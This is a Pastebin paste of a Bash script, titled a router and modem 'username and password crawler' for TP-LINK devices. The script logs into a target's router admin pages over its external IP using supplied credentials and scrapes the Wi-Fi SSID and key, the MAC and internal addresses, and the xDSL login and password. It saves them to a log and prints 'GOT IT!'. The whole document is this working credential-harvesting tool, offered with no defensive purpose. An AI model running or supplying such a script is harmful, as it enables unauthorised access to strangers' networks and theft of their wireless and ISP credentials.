sxiii

Routers, modems username and password crawler [Template]

Nov 8th, 2011
267
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 2.37 KB | None | 0 0
  1. #!/bin/bash
  2. # Routers, modems username and password crawler [Template] for TP-LINK routers
  3.  
  4. wget -q -t 1 -T 5 -O home_wlan.htm http://$1/basic/home_wlan.htm --user=$3 --password=$4
  5. wget -q -t 1 -T 5 -O home_wan.htm http://$1/basic/home_wan.htm --user=$3 --password=$4
  6. wget -q -t 1 -T 5 -O status_deviceinfo.htm http://$1/status/status_deviceinfo.htm --user=$3 --password=$4
  7.  
  8. mac=`cat status_deviceinfo.htm | grep "MAC Address" -A 1 | tail -1 | awk -F"<" '{ print $1 }'`
  9. if [[ -f home_wlan.htm ]]; then wlan_ssid=`cat home_wlan.htm | grep "NAME=\"ESSID\"" -m 1 | awk -F"\"" '{ print $10 }'`; fi
  10. if [[ -f home_wlan.htm ]]; then wlan_pass=`cat home_wlan.htm | grep \"PreSharedKey\" | awk -F"\"" '{ print $10 }'`; fi
  11. internal_ip=`cat status_deviceinfo.htm | grep "IP Address" -A 1 -m 1 | tail -1 | awk -F"<" '{ print $1 }'`
  12. internal_netmask=`cat status_deviceinfo.htm | grep "Subnet Mask" -A1 -m 1 | tail -1 | awk -F"<" '{ print $1 }'`
  13. dsl_username=`cat home_wan.htm | grep "wan_PPPUsername" | awk -F"\"" '{ print $10 }'`
  14. dsl_password=`cat home_wan.htm | grep "wan_PPPPassword" | awk -F"\"" '{ print $10 }'`
  15.  
  16. mac=`echo $mac | tr -d ' '`
  17. wlan_ssid=`echo $wlan_ssid | tr -d ' '`
  18. wlan_pass=`echo $wlan_pass | tr -d ' '`
  19. internal_ip=`echo $internal_ip | tr -d ' '`
  20. internal_netmask=`echo $internal_netmask | tr -d ' '`
  21. dsl_username=`echo $dsl_username | tr -d ' '`
  22. dsl_password=`echo $dsl_password | tr -d ' '`
  23.  
  24. if [[ "$wlan_ssid" == "" && "$wlan_pass" == "" && "$dsl_username" == "" && "$dsl_password" == "" ]]; then exit; fi
  25.  
  26. echo "================================================" >> $2
  27. echo "Target external IP: $1" >> $2
  28. echo "Device type: $0" >> $2
  29. echo "Device MAC address: $mac" >> $2
  30. if [[ -f home_wlan.htm ]]; then echo "Wireless SSID: $wlan_ssid" >> $2; fi
  31. if [[ -f home_wlan.htm ]]; then echo "Wireless password: $wlan_pass" >> $2; fi
  32. echo "Internal IP: $internal_ip" >> $2
  33. echo "Internal netmask: $internal_netmask" >> $2
  34. echo "xDSL username: $dsl_username" >> $2
  35. echo "xDSL password: $dsl_password" >> $2
  36. echo "================================================" >> $2
  37.  
  38. echo "GOT IT! IP: $1; MAC: $mac; WLAN: $wlan_ssid:$wlan_pass; DSL: $dsl_username:$dsl_password. Saving..."
  39. echo "GOT IT! IP: $1; MAC: $mac; WLAN: $wlan_ssid:$wlan_pass; DSL: $dsl_username:$dsl_password." >> smalllog.txt
  40.  
  41. if [[ -f home_wlan.htm ]]; then rm home_wlan.htm; fi
  42. rm home_wan.htm
  43. rm status_deviceinfo.htm
Advertisement
Add Comment
Please, Sign In to add comment